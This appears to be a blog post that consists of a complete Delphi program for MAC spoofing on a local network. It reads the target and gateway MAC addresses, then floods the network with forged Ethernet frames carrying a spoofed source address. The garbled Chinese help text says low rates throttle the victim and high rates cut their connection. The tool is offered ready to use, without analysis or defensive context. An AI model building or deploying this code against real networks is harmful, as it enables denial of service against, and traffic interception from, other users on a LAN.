BCB-DG's Blog

{*******************************************************}
{       »ùÓÚMACÓëPORTÆÛÆ­  £¨ÎÞARP£©        }
{       °æȨËùÓÐ (C) 2009 Open[xgc]                }
{*******************************************************}

program Test;
{$APPTYPE CONSOLE}

uses
  Windows, SysUtils, IpHlpApi, IpTypes, Packet32, WinSock;

const
  MAC_SIZE = 6;

type
  MACADDRESS = array[0 .. MAC_SIZE - 1] of UCHAR;

  ETHERNET_HDR = packed record
    Destination: MACADDRESS;
    Source: MACADDRESS;
    Protocol: word;
  end;

  function MactoStr(Mac: MACADDRESS): string;
  var
    ch1, ch2: byte;
    i: integer;
  begin
    Result := '';
    for i := 0 to MAC_SIZE - 1 do
    begin
      ch1 := Mac[i] and $F0;
      ch1 := ch1 shr 4;
      if ch1 > 9 then
        ch1 := ch1 + Ord('A') - 10
      else
        ch1 := ch1 + Ord('0');
      ch2 := Mac[i] and $0F;
      if ch2 > 9 then
        ch2 := ch2 + Ord('A') - 10
      else
        ch2 := ch2 + Ord('0');
      Result := Result + Chr(ch1) + Chr(ch2);
      if i < 5 then Result := Result + ':';
    end;
  end;

  function IPtoStr(IP: DWORD): string;
  begin
    Result := IntToStr((IP and $FF000000) shr 24) + '.';
    Result := Result + IntToStr((IP and $00FF0000) shr 16) + '.';
    Result := Result + IntToStr((IP and $0000FF00) shr 8) + '.';
    Result := Result + IntToStr((IP and $000000FF) shr 0);
  end;

  function Str2IP(s: string): DWORD;
  var
    i:  integer;
    Index: integer;
    Digit: string;
    IP: array [0 .. 4 - 1] of DWORD;
    Len: integer;
  begin
    Index := 1;
    for i := 0 to 4 - 1 do IP[i] := 0;
    Len := Length(s);
    for i := 0 to 4 - 1 do
    begin
      Digit := '';
      while (s[Index] >= '0') and (s[Index] <= '9') and (Index <= Len) do
      begin
        Digit := Digit + s[Index];
        Inc(Index);
      end;
      Inc(Index);
      IP[i] := StrToInt(Digit);
    end;
    Result := IP[0] shl 24 + IP[1] shl 16 + IP[2] shl 8 + IP[3] shl 0;
  end;

  function StrToMac(s: string): MACADDRESS;
  var
    i:  integer;
    Index: integer;
    Ch: string;
    Mac: MACADDRESS;
  begin
    Index := 1;
    for i := 0 to MAC_SIZE - 1 do
    begin
      Ch := Copy(s, Index, 2);
      Mac[i] := StrToInt('$' + Ch);
      Inc(Index, 2);
      while s[Index] = ':' do Inc(Index);
    end;
    Result := Mac;
  end;

  function GetSubStrNum(aString: string; SepChar: string): integer;
  var
    i: integer;
    StrLen: integer;
    Num: integer;
  begin
    StrLen := Length(aString);
    Num := 0;
    for i := 1 to StrLen do
      if Copy(aString, i, 1) = SepChar then Num := Num + 1;
    Result := Num;
  end;

  function Split(Input: string; Deliminator: string; Index: integer): string;
  var
    StringLoop, StringCount: integer;
    Buffer: string;
  begin
    StringCount := 0;
    for StringLoop := 1 to Length(Input) do
    begin
      if (Copy(Input, StringLoop, 1) = Deliminator) then
      begin
        Inc(StringCount);
        if StringCount = Index then
        begin
          Result := Buffer;
          Exit;
        end
        else
          Buffer := '';
      end
      else
        Buffer := Buffer + Copy(Input, StringLoop, 1);
    end;
    Result := Buffer;
  end;

  function GetMacByIP(const IPAddr: string): string;
  var
    dwResult: DWord;
    nIPAddr:  integer;
    nMacAddr: array[0..5] of byte;
    nAddrLen: cardinal;
    WSAData:  TWSAData;
  begin
    if WSAStartup($101, WSAData) = -1 then Exit;
    nIPAddr := INet_Addr(PChar(IPAddr));
    if nIPAddr = INADDR_NONE then Exit;
    nAddrLen := 6;
    dwResult := 1;
    try
      dwResult := SendARP(nIPAddr, 0, @nMacAddr, nAddrLen);
    except
    end;
    if dwResult = 0 then
      Result := (IntToHex(nMacAddr[0], 2) + ':' + IntToHex(nMacAddr[1], 2) + ':' + IntToHex(nMacAddr[2], 2) + ':' +
        IntToHex(nMacAddr[3], 2) + ':' + IntToHex(nMacAddr[4], 2) + ':' + IntToHex(nMacAddr[5], 2))
    else
      Result := '';
    WSACleanup;
  end;

  procedure MyNetwork(Ms: string; var IP: DWORD; var Mac: MACADDRESS; var Gateway: DWORD);
  var
    i: integer;
    p, pAdapterInfo: PIP_ADAPTER_INFO;
    uOutBufLen: ULONG;
    dwRes: DWORD;
  begin
    pAdapterInfo := nil;
    uOutBufLen := 0;
    dwRes := GetAdaptersInfo(pAdapterInfo, uOutBufLen);
    if dwRes = ERROR_BUFFER_OVERFLOW then
    begin
      GetMem(pAdapterInfo, uOutBufLen);
      dwRes := GetAdaptersInfo(pAdapterInfo, uOutBufLen);
    end;
    if dwRes <> ERROR_SUCCESS then Exit;
    p := pAdapterInfo;
    while p <> nil do
    begin
      if Pos(string(p^.AdapterName), Ms) <> 0 then Break;
      p := p^.Next;
    end;
    try
      if p <> nil then
      begin
        IP := Str2IP(p^.IpAddressList.IpAddress.S);
        for i := 0 to MAC_SIZE - 1 do Mac[i] := p^.Address[i];
        Gateway := Str2IP(p^.GatewayList.IpAddress.S);
      end;
    except
    end;
    FreeMem(pAdapterInfo);
  end;

  procedure Help;
  begin
    WriteLn('******************************************************************');
    WriteLn('*                    »ùÓÚMACÓëPORTÆÛÆ­                           *');
    WriteLn('*  ¸ñʽ: Test.exe [IPµØÖ·] [Íø¿¨ºÅ] [ģʽ:1ÆÛÆ­Íø¹Ø 2ÆÛÆ­Ä¿±ê]]  *');
    WriteLn('*  ʵÀý: Test.exe 192.168.0.1 0 1 »ò  Test.exe 192.168.0.1 0 0   *');
    WriteLn('*        ×÷ÓÃ:Ç¿Èõʾ¹¥»÷Ëٶȶ¨ µÍËٶȴﵽÏÞÁ÷ ¸ßËٶȴﵽ¶ÏÍø     *');
    WriteLn('*                      ×÷Õß:Open                                 *');
    WriteLn('******************************************************************');
  end;

  function GetEthernet(M: integer): string;
  var
    Ethernet: string;
    NameLength, Num, i: longword;
    NameList: array [0..1024] of char;
    Name: array[0..10] of string;
  begin
    NameLength := 1024;
    ZeroMemory(@NameList, 1024);
    PacketGetAdapterNames(NameList, @NameLength);
    for i := 0 to NameLength - 1 do
    begin
      if ((NameList[i] = #0) and (NameList[i + 1] = #0)) then
        break
      else if ((NameList[i] = #0) and (NameList[i + 1] <> #0)) then
        NameList[i] := char(',');
    end;
    Ethernet := StrPas(NameList);
    Num := GetSubStrNum(Ethernet, ',');
    for i := 0 to Num do
    begin
      Name[i] := Split(Ethernet, ',', i + 1);
      if M < 0 then
      begin
        Writeln('Íø¿¨Áбí:');
        WriteLn('         ' + IntToStr(i) + ': Ethernet:' + Name[i]);
      end;
    end;
    Result := Name[M];
  end;

var
  Ethernet, DesMac: string;
  p:  Padapter;
  pp: Ppacket;
  IP, Gateway: DWORD;
  Mac: MACADDRESS;
  SendData: ETHERNET_HDR;
  Ok: boolean = True;

begin
  Help;
  GetEthernet(-1);
  if (ParamStr(1) = '') and (ParamStr(2) = '') and (ParamStr(3) = '') then Exit;
  Ethernet := GetEthernet(StrToInt(ParamStr(2)));
  MyNetwork(Ethernet, ip, mac, Gateway);
  WriteLn('Íø ¿¨:' + Ethernet);
  WriteLn('±¾»úIP:' + iptostr(ip));
  WriteLn('±¾»úMAC:' + MacToStr(Mac));
  WriteLn('±¾»úÍø¹Ø:' + iptostr(Gateway));
  WriteLn('Ä¿±êIP:' + ParamStr(1));
  DesMac := GetMacByIP(ParamStr(1));
  if DesMac = '' then
  begin
    WriteLn('»ñÈ¡Ä¿±êMACʧ°Ü');
    Exit;
  end;
  WriteLn('Ä¿±êMAC:' + DesMac);
  case StrToInt(ParamStr(3)) of
    0:
    begin
      SendData.Destination := StrToMac(DesMac);   //Ä¿±ê
      SendData.Source := StrToMac(GetMacByIP(iptostr(Gateway)));   //Íø¹Ø
    end;
    1:
    begin
      SendData.Destination := StrToMac(GetMacByIP(iptostr(Gateway)));   //Íø¹Ø
      SendData.Source := StrToMac(DesMac);  //Ä¿±ê
    end;
  end;
  SendData.Protocol := 0;
  p := PacketOpenAdapter(PChar(Ethernet));
  if (p = nil) or (p.hFile = INVALID_HANDLE_VALUE) then
  begin
    Writeln('³õʼ»¯Ê§°Ü...');
    Exit;
  end;
  pp := PacketAllocatePacket;
  PacketInitPacket(pp, @SendData, SizeOf(SendData));
  Writeln('¿ªÊ¼ÆÛÆ­......');
  while ok do
  begin
    PacketSendPacket(p, pp, True);
    Sleep(10);
  end;
  PacketFreePacket(pp);
  PacketCloseAdapter(p);
end.